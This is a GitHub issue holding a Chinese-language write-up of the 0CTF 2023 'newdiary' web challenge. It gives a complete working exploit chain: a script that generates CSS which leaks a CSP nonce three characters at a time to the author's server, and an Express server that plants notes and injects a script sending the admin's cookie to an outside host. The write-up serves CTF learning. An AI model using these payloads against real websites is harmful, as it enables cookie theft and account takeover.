Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

0CTF 2023 筆記 #148

Open
aszx87410 opened this issue Jun 1, 2024 · 0 comments
Open

0CTF 2023 筆記 #148

aszx87410 opened this issue Jun 1, 2024 · 0 comments
Labels
Security Security

Comments

@aszx87410
Copy link
Owner

今年的 0CTF 一共有三道 web 題,其中一道題目是 client-side 的,我就只解這題而已,順利拿到 first blood,這篇簡單記錄一下心得。

關鍵字列表:

  1. CSS injection
  2. CSS exfiltration

Web - newdiary (14 solves)

題目就是個典型的 note app,可以建立筆記然後回報給 admin bot,筆記只有限制長度,並沒有做過濾,在 client 也是直接用 innerHTML,所以很明顯有 HTML injection:

load = () => {
    document.getElementById("title").innerHTML = ""
    document.getElementById("content").innerHTML = ""
    const param = new URLSearchParams(location.hash.slice(1));
    const id = param.get('id');
    let username = param.get('username');
    if (id && /^[0-9a-f]+$/.test(id)) {
        if (username === null) {
            fetch(`/share/read/${id}`).then(data => data.json()).then(data => {
                const title = document.createElement('p');
                title.innerText = data.title;
                document.getElementById("title").appendChild(title);
        
                const content = document.createElement('p');
                content.innerHTML = data.content;
                document.getElementById("content").appendChild(content);
            })
        } else {
            fetch(`/share/read/${id}?username=${username}`).then(data => data.json()).then(data => {
                const title = document.createElement('p');
                title.innerText = data.title;
                document.getElementById("title").appendChild(title);

                const content = document.createElement('p');
                content.innerHTML = data.content;
                document.getElementById("content").appendChild(content);
            })
        }
        document.getElementById("report").href = `/report?id=${id}&username=${username}`;
    }
    window.removeEventListener('hashchange', load);
}
load();
window.addEventListener('hashchange', load);

這邊值得注意的一點是如果改變 hash 的話會載入新的 note,這點滿重要的。

而 CSP 的部份如下:

<meta http-equiv="Content-Security-Policy"
    content="script-src 'nonce-<%= nonce %>'; frame-src 'none'; object-src 'none'; base-uri 'self'; style-src 'unsafe-inline' https://unpkg.com">

每一個 response 都有不同的 nonce,長度為 32 位,每一個字元是 a-zA-Z0-9,有 36 種組合。CSS 的部分允許 inline 跟 unpkg,因為 unpkg 就只是去 npm 上拿,所以可以想成是允許任何的外部 style。

admin bot 的部份只能訪問 /share/read,訪問後會停留 30 秒,這個 timeout 應該滿明顯是要花時間 leak 什麼東西:

await page.goto(
  `http://localhost/share/read#id=${id}&username=${username}`,
  { timeout: 5000 }
);
await new Promise((resolve) => setTimeout(resolve, 30000));
await page.close();

對了,flag 在 cookie 裡面,所以目標是 XSS。

其實看完題目之後我覺得滿直覺的,很明顯要想辦法用 CSS 偷到 nonce,偷到 nonce 以後建立一個新的 note,然後改變 hash 去載入新的 note,就可以 XSS。

但有一些小細節要注意就是了,像是 admin bot 只能訪問某一個筆記,所以要先用 <meta> redirect 到自己的 server,再用 window.open 去打開新的筆記,這樣偷到 nonce 以後才能藉由改變 hash 去更新內容,確保 nonce 不會變。

總之呢,流程如下:

  1. 新增一個 note,內容為 <meta http-equiv="refresh" content="0;URL=https://my_server">,id 是 0
  2. 新增另一個 note,內容為 <style>@import "https://unpkg.com/pkg/steal.css"</style>,id 是 1
  3. 讓 admin bot 訪問 id 是 0 的 note
  4. admin bot 被導到 my server,此時可以在我的 origin 執行任意 JavaScript
  5. 執行 w = window.open(note_1),開始偷 nonce
  6. 拿到偷來的 nonce
  7. 新增最後一個 note,內容為 <script nonce=xxx></script>,id 為 2
  8. 執行 w.location = '.../share/read#id=2'
  9. XSS

這之中最麻煩的部分就在於用 CSS 偷 nonce 了。

用 CSS 偷 nonce

我以前剛好有研究過用 CSS 偷東西:用 CSS 來偷資料 - CSS injection(上),但裡面講到的做法其實這一題行不通。

由於 nonce 的可能性有太多種,所以一個字元一個字元偷是最快的方法,但這種做法要利用 @import 加上 blocking 的方式,這一題的外部連結只能到 unpkg,是靜態檔案,沒辦法。

另一種做法剛好前陣子才看過但還沒更新到文章:Code Vulnerabilities Put Proton Mails at Risk

這做法滿聰明的,把一段字切成很多小字串,每個字串有三個字元,我們對 a-zA-Z0-9 做三個字的全排列組合,像這樣:

script[nonce*="aaa"]{--aaa:url("https://server/leak?q=aaa")}
script[nonce*="aab"]{--aab:url("https://server/leak?q=aab")}
...
script[nonce*="ZZZ"]{--ZZZ:url("https://server/leak?q=ZZZ")}

script{
  display: block;
  background-image: -webkit-cross-fade(
    var(--aaa, none),
    -webkit-cross-fade(
      var(--aab, none), var(--ZZZ, none), 50%
    ),
    50%
  )

-webkit-cross-fade 是為了要載入多個圖片,細節可以參考上面貼的文章。

例如說 nonce 是 abc123 好了,server 就會收到:

  1. abc
  2. bc1
  3. c12
  4. 123

這四種字串,而順序可能會不一樣,但只要按照規則組合起來,就可以得到 abc123。當然,也有可能會有多種組合或是不確定頭尾的情形,但那就當作 edge case,重新再試一次就行了。

用這樣的方式偷 nocne,以這題來說會有 36^3 = 46656 個規則,是可以接受的長度。

產生 CSS

剛好之前在工作上也碰到類似的情境,所以手邊已經有寫好的腳本了,改一下就可以用。

這題如果把全部規則都套在同一個元素上,似乎會因為規則太多之類的讓 Chrome 直接 crash(至少我本地是這樣),所以我就把規則分三份,順便套在三個不同元素。

const fs = require('fs')
let chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
const host = 'https://ip.ngrok-free.app'

let arr = []
for(let a of chars) {
    for(let b of chars) {
        for(let c of chars) {
            let str = a+b+c;
            arr.push(str)
        }
    }
}

let payload1 = ''
let crossPayload1 = 'url("/")'
let payload2 = ''
let crossPayload2 = 'url("/")'
let payload3 = ''
let crossPayload3 = 'url("/")'

const third = Math.floor(arr.length / 3);
const arr1 = arr.slice(0, third); 
const arr2 = arr.slice(third, 2 * third); 
const arr3 = arr.slice(2 * third); 

for(let str of arr1) {
    payload1 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n`
    crossPayload1 = `-webkit-cross-fade(${crossPayload1}, var(--${str}, none), 50%)`
}

for(let str of arr2) {
    payload2 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n`
    crossPayload2 = `-webkit-cross-fade(${crossPayload2}, var(--${str}, none), 50%)`
}

for(let str of arr3) {
    payload3 += `script[nonce*="${str}"]{--${str}:url("${host}/leak?q=${str}")}\n`
    crossPayload3 = `-webkit-cross-fade(${crossPayload3}, var(--${str}, none), 50%)`
}

payload1 = `${payload1} script{display:block;} script{background-image: ${crossPayload1}}`
payload2 = `${payload2}script:after{content:'a';display:block;background-image:${crossPayload2} }`
payload3 = `${payload3}script:before{content:'a';display:block;background-image:${crossPayload3} }`

fs.writeFileSync('exp1.css', payload1, 'utf-8');
fs.writeFileSync('exp2.css', payload2, 'utf-8');
fs.writeFileSync('exp3.css', payload3, 'utf-8');

接著把跑完的檔案發佈到 npm,就有一個 unpkg 的網址了。

Exploit

寫得滿亂的有點懶得整理,但基本上跑起來以後訪問 /start 就會開始自動跑整個流程。

這題因為運氣好之前就有看過那篇文章,所以開賽後半小時就大概知道怎麼解了,剩下兩小時都在寫 code 😆

import express from 'express'
import {fetch, CookieJar} from "node-fetch-cookies";

const app = express()
const port = 3000

const host = 'http://new-diary.ctf.0ops.sjtu.cn'
const selfHost = 'https://ip.ngrok-free.app'
const cssUrl = 'https://unpkg.com/your_pkg@1.0.0'

const getRandomStr = len => Array(len).fill().map(_ => Math.floor(Math.random()*16).toString(16)).join('')

let leaks = []
let cookieJar = new CookieJar();
let username = '';
let hasToken = false;

function mergeWords(arr, ending) {
  if (arr.length === 0) return ending
  if (!ending) {
    for(let i=0; i<arr.length; i++) {
      let isFound = false
      for(let j=0; j<arr.length; j++) {
        if (i === j) continue

        let suffix = arr[i][1] + arr[i][2] 
        let prefix = arr[j][0] + arr[j][1]

        if (suffix === prefix) {
          isFound = true
          continue
        }
      }
      if (!isFound) {
        console.log('ending:', arr[i])
        return mergeWords(arr.filter(item => item!==arr[i]), arr[i])
      }
    }

    console.log('Error, please try again')
    return
  }

  let found = []
  for(let i=0; i<arr.length; i++) {
    let length = ending.length
    let suffix = ending[0] + ending[1]
    let prefix = arr[i][1] + arr[i][2]

    if (suffix === prefix) {
      found.push([arr.filter(item => item!==arr[i]), arr[i][0] + ending])
    }
  }

  return found.map((item) => {
    return mergeWords(item[0], item[1])
  })
}

function handleLeak() {
  let str = ''
  let arr = [...leaks]
  leaks = []

  console.log('received:', arr)
  const merged = mergeWords(arr, null);
  console.log('leaked:', merged.flat(99))
  return merged.flat(99)
}

async function createNote(title, content){
  return await fetch(cookieJar, host + '/write', {
    method: 'POST',
    headers: {
      'content-type': 'application/x-www-form-urlencoded',
    },
    body: `title=${encodeURIComponent(title)}&content=${encodeURIComponent(content)}`
  })
}

async function getNotes() {
  return await fetch(cookieJar, host + '/', {
  }).then(res => res.text())
}

async function share(id) {
  return await fetch(cookieJar, host + '/share_diary/' + id, {
  }).then(res => res.text())
}

async function report(username, id) {
  return await fetch(cookieJar, `${host}/report?username=${username}&id=${id}` , {
  }).then(res => res.text())
}

app.get('/', (req, res) => {
  res.send('Hello World!')
})

app.get('/start', async (req, res) => {
  // create ccount
  username = getRandomStr(8)
  let password = getRandomStr(8)
  leaks = []
  hasToken = false

  console.log({
    username,
    password
  })

  const response = await fetch(cookieJar, host + '/login', {
    method: 'post',
    headers: {
      'content-type': 'application/x-www-form-urlencoded'
    },
    body: `username=${username}&password=${password}`
  })

  const resp = await createNote('note1', `<meta http-equiv="refresh" content="0;URL=${selfHost}/exp">`)

  await createNote('note2', `<style>@import "${cssUrl}/exp1.css";@import "${cssUrl}/exp2.css";@import "${cssUrl}/exp3.css";</style>`)

  console.log('done')

  await share(0)
  await share(1)

  console.log('report username:', username)
  console.log(await report(username, 0))

  res.send('done')

})

app.get('/leak', async (req, res) => {
    leaks.push(req.query.q)
    console.log('recevied:', req.query.q, leaks.length)
    if (leaks.length === 30) {
      const result = handleLeak()
      // create a new note
      await createNote(
        'note3', 
        result.map(nonce => `<iframe srcdoc="<script nonce=${nonce}>top.location='${selfHost}/flag?q='+encodeURIComponent(top.document.cookie)</script>"></iframe>`)
      );
      await share(2)
      hasToken = true;
      console.log('note3 cteated')
    }
    res.send('ok')
})

app.get('/flag', (req, res) => {
  console.log('flag', req.query.q)
  res.send('flag')
})

app.get('/hasToken', (req, res) => {
  console.log('polling...', hasToken)
  if (hasToken) {
    res.send('hasToken')
  } else {
    res.send('no')
  }
})

app.get('/exp', (req, res) => {
  console.log('visit exp')
  res.setHeader('content-type', 'text/html')
  res.send(`
    <script>
      let w = window.open('http://localhost/share/read#id=1&username=${username}')
      function polling() {
        fetch('/hasToken').then(res => res.text()).then((res) => {
          if (res === 'hasToken') {
            w.location = 'http://localhost/share/read#id=2&username=${username}'
          }
        })

        setTimeout(() => {
          polling();
        }, 500)
      }
      polling()
    </script>
  `)
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

話說如果沒看過那篇文章的話,不確定自己是不是能想到這個解法 😅

@aszx87410 aszx87410 added the Security Security label Jun 1, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Security Security
Projects
None yet
Development

No branches or pull requests

1 participant